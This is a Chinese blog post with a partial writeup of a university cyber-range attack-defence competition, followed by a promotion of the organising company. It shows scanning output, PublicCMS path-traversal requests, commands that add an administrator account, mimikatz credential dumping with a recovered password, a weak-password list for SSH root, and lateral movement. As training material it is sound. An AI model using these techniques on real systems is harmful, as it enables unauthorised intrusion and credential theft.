技术分享 | “锦行杯“比赛 Writeup

原创

Jeeseen123 于 2021-02-02 14:26:15 发布 221 收藏

文章标签： 网络 信息安全

本文链接：https://blog.csdn.net/Jeeseen123/article/details/113555329

2020年12月27日，锦行科技携手华南农业大学数学与信息学院、软件学院顺利举办了“锦行杯”大学生网络安全攻防对抗实战。（传送带——实战练兵 | “锦行杯”大学生网络安全攻防对抗实战（华南农业大学专场）圆满落幕）比赛虽然已经结束，但是“锦行杯”作为网络靶场演习的意义仍在延续。

本期我们邀请了近期在锦行杯比赛（华农场）获得一等奖的参赛队伍XCAU战队 （不想和队友一队 战队）与我们分享了他在锦行杯比赛中的攻击思路。

"锦行杯"比赛 Writeup

01 明确目标

获取主机上所有的flag，一台主机只有一个flag

初始切入点为网站：http://192.168.100.2:8080

可能需要操作：getshell，内网渗透，域渗透，路由转发

可能存在的系统类型：服务器系统，数据库系统，内网客户端（办公机）

02 信息收集

进入网站，浏览网站，收集信息网址：http://192.168.100.2:8080

最终主机：coreDB

后台：admin admin ：http://192.168.100.2:8080/admin/

操作系统：Windows Server 2012 R2(amd64)

CMS：public cms

版本：V4.0.20180210

语言：java

网站目录：C:\Program Files\Java\jdk1.8.0_261\bin

（1）使用diresearch扫描网站目录

python dirsearch.py -e java -u http://192.168.100.2:8080

[13:17:11]200-898B- /admin/login
[13:17:11]200-898B- /admin/login.java
[13:17:12]200-898B- /admin/login.asp
[13:17:12]200-898B- /admin/login.do
[13:17:12]200-898B- /admin/login.htm
[13:17:12]200-898B- /admin/login.html
[13:17:12]200-898B- /admin/login.jsp
[13:17:12]200-898B- /admin/login.php
[13:17:12]200-898B- /admin/login.py
[13:17:12]200-898B- /admin/login.rb
[13:17:14]200-29B- /api
[13:17:14]200-29B- /api/error_log
[13:17:14]200-29B- /api/swagger.yml
[13:17:14]200-29B- /api/
[13:17:14] 302 -0B - /admin/admin/login -> /admin/login.html?
returnUrl=%2Fadmin%2Fadmin%2Flogin
[13:17:18] 302 -0B- /docs->/docs/
[13:17:18] 200 -15KB - /docs/
[13:17:19] 302 -0B- /examples->/examples/
[13:17:19] 200 -1KB - /examples/
[13:17:19] 200 -757B- /examples/servlets/servlet/CookieExample
[13:17:19] 200 -1KB - /examples/servlets/servlet/RequestHeaderExample
[13:17:19] 200 -4KB - /favicon.ico
[13:17:19] 200 -6KB - /examples/servlets/index.html

（2）使用nmap主机发现

nmap -sL 网段
Nmap scan report for 192.168.100.1 Host is up (0.0012s latency).
Not shown: 999 closed ports PORT STATE SERVICE
22/tcp filtered ssh

Nmap scan report for 192.168.100.2 Host is up (0.00073s latency).
Not shown: 987 closed ports PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown

Nmap scan report for 192.168.100.3 Host is up (0.0018s latency).
All 1000 scanned ports on 192.168.100.3 are filtered
……

-sL #列表扫描–简单地列出要扫描的目标
nmap -sL 192.168.100.0/24
-sn #ping扫描–不对端口扫描
nmap -sn 192.168.100.0/24
-Pn #将所有主机视为在线–跳过主机发现
nmap -Pn 192.168.100.0/24
-PS/PA/PU/PY #通过SYN/ACK/UDP/SCTP探测确认端口号
nmap-PS 192.168.100.0/24
nmap-PA 192.168.100.0/24
nmap-PU 192.168.100.0/24
nmap-PY 192.168.100.0/24
-PO #使用IP协议ping
nmap -Pn 192.168.100.0/24
-sV #版本检测(sV)
nmap -sV -p- 192.168.52.143

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

03 网站getshell
当前网站渗透应该考的是信息搜索能力

使用google输入关键字：“public cms getshell” “public cms 漏洞” 等查找相关文章
在国家信息安全漏洞库里面查找publiccms的漏洞：http://www.cnnvd.org.cn/web/vulnerability/quer ylist.tag
在exploit-db网站查找相关漏洞：https://www.exploit-db.com/

（1）PublicCMS 路径遍历漏洞
参考网址：https://github.com/sanluan/PublicCMS/issues/12
通过发送get请求：/admin/cmsWebFile/list.html?path=…/…/…/…/…/ 可以查看当前系统目录
通过发送get请求：/admin/cmsTemplate/content.html?path=…/…/…/…/…/…/…/…/…/…/flag.txt 可查看文件内容
构 建 请 求 ：http://192.168.100.2:8080/admin/cmsTemplate
/content.html?path=…/…/…/…/…/…/…/…/…/…/fl ag.txt 读取第一个flag拿一血

（2）PublicCMS getshell漏洞
参考网址：https://github.com/sanluan/PublicCMS/issues/13
用户可以通过在压缩文件中构造包含有特定文件名称的压缩文件。
在public cms进行解压后，会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell，远程控制

04 内网渗透
利用蚁剑连接一句话木马
切换到终端模式

whoami #查看当前有效用户名
netstat -an | find “3389” #查看远程登录端口是否开启net user yyj yyj /add #尝试添加用户
net localgroup administrators test /add net user test #查看test用户信息
凭据导出:
凭据可以理解为目标机的账号，密码。导出目标机凭据后，我们可以使用凭据实现横向移动（利用hash 传递，smb/rdp爆破等等手法）来扩大我们的战果。

（1）hashdump读取内存密码

利用远程登录上传mimitakz使用debug进行明文抓取运行目标机：mimitakz.exe
目标机输入：privilege::debug 进行权限提升
目标机输入：sekurlsa::logonPasswords 进行明文抓取得到明文密码
得到账号密码为：Administrator ：MY2020jxsec@123

（2）通过查看目标主机文件发现提示信息
提示了2个可继续深入的内网IP
因为没有做好记录工作这里自定义IP
主机（1）10.0.0.2
主机（2）10.0.1.3

利用nmap扫描上面2个IP发现开放了22端口，可以ssh连接
使用nmap扫描目标主机操作系统
尝试mobaxterm远程ssh连接两台主机，使用内存读取的账号密码 Administrator ：MY2020jxsec@123 尝试登录两台主机，主机（1）登录成功
查看主机（1）根目录 以下的public或者temp文件夹 发现flag（2）
猜测主机（2）发现是Linux系统

（3）弱密码登录
猜测此题考点为弱密码登录
尝试手动输入几个弱密码登录root用户
masquerade 4444
456123
abc123. live 0123456789
147852369
zxcasd 123
1234
12345
123456
password 1
111111
123456789
使用password登录root用户成功
查看主机（1）根目录 以下的public或者temp文件夹
发现flag（3）
对主机（1）输入history命令查看历史命令
发现有使用ssh远程登录新的主机（3）
尝试使用ssh连接主机（3），连接成功
查看根目录及其下的文件夹发现flag（4）
对主机（2）输入history命令查看历史命令
发现有使用ssh远程登录新的主机（4）
尝试使用ssh连接主机（4），连接成功
查看根目录及其下的文件夹发现flag（5）

……

因篇长受限，故只展示部分Writeup。完整Writeup请关注“锦行信息安全”后台回复“锦行杯Writeup”即可领取。

锦行科技

近年来，我国网络安全人才供需矛盾越为突出。高等院校作为网络安全人才培养主阵地，整体上偏重理论研究型，实用型人才数量输出不足。兼顾专业性和知识性，打造高水准的创新实践品牌大赛是解决以上问题的有效途径之一。

其中，采用网络靶场的攻防实战比赛更是成为了被各行业广泛认可的淬炼实战型人才的训练场。通过对真实内网环境的精准模拟，网络靶场可以帮助学生在安全可控的“业务场景”里做反复的攻防实训演练和技术实践。

“锦行杯”就是一个基于锦行科技自主品牌产品“天穹——攻防对抗演练平台”，采用锦行科技首创的实战场景体验的新型网络安全比赛模式的比赛品牌。突破传统CTF比赛”纸上谈兵”的答题模式，“锦行杯”让学生能在全场景、高仿真、大规模、多层次的网络靶场环境中以赛代练、以赛促学，验证企业的安全方案的有效性，切实提高参赛选手的攻防对抗实战的能力。

天穹——攻防对抗演练平台是锦行科技基于十余年的网络攻防实战经验，结合攻防场景及攻防场景构建技术，研发的全面、专业、支持场景可定制扩展的攻防对抗演练平台。采用多维度攻防数据采集技术，“天穹”能对攻防态势进行实时可视化展示，并综合评估选手的攻防方法、攻防技巧和攻防能力等。

目前，“天穹”已经过ISW、XPWN、A-tech精英赛等多场重量级比赛的检验，形成了成熟的人才培养型靶场模式，在部署、性能、竞赛类型、赛题储备、态势展示、运维支持等上都收到了客户高度认可及好评。

未来，锦行科技将继续发挥天穹——攻防对抗演练平台在实战演练、人才培养等方面的核心价值，积极探索与高校建立产学研创新网安人才培育模式的可能性，助力高校培养符合产业发展需求的实战型专业性人才，为建设网络强国提供有力的人才支撑。